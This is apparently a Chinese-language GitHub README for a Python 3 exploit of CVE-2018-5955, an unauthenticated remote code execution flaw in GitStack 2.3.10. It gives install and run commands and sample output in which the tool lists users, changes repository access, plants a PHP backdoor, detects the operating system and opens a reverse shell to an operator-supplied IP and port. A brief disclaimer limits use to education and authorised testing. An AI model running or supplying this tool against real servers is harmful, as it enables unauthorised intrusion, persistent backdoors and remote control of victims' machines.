针对 CVE-2018-5955 GitStack 2.3.10 未认证远程代码执行(RCE)漏洞的利用程序
漏洞利用:GitStack 2.3.10 未认证远程代码执行
日期:18.01.2018
漏洞利用作者:Kacper Szurek
原始漏洞利用:https://www.exploit-db.com/exploits/43777
网站:https://security.szurek.pl/
类别:远程
CVE:CVE-2018-5955
日期:23.06.2023
新功能:交互式 RCE、操作系统检测、反弹 Shell 功能,已从 python2 移植到 python3
CVE:CVE-2018-5955
类别:远程
我不对你的行为承担任何责任,因为我将其发布在 GitHub 上仅用于教育目的或经过认证和授权的渗透测试。
安装依赖:
pip install colorama
然后,你可以用以下命令运行:
python3 exploit.py
在利用该 CVE 之后将检测操作系统,实际上会输出这样一行:"[*] OS: $operatingsystem"(如下所示)
[+] Get user list
[+] Found user twreath
[+] Web repository already enabled
[+] Get repositories list
[+] Found repository Website
[+] Add user to repository
[+] Disable access for anyone
[+] Create backdoor in PHP
[*] Type 'shell' to get a reverse shell
[*] OS : Windows <----
你也可以输入 "os" 来查看操作系统类型。
要在目标上获得一个真正的反弹 Shell,你可以输入 "shell",然后按如下方式输入你的 IP 和监听端口:
RCE > shell
[?] Please enter the IP address for the shell: YOUR IP HERE
[?] Please enter the port number for the shell: YOUR LISTEN PORT HERE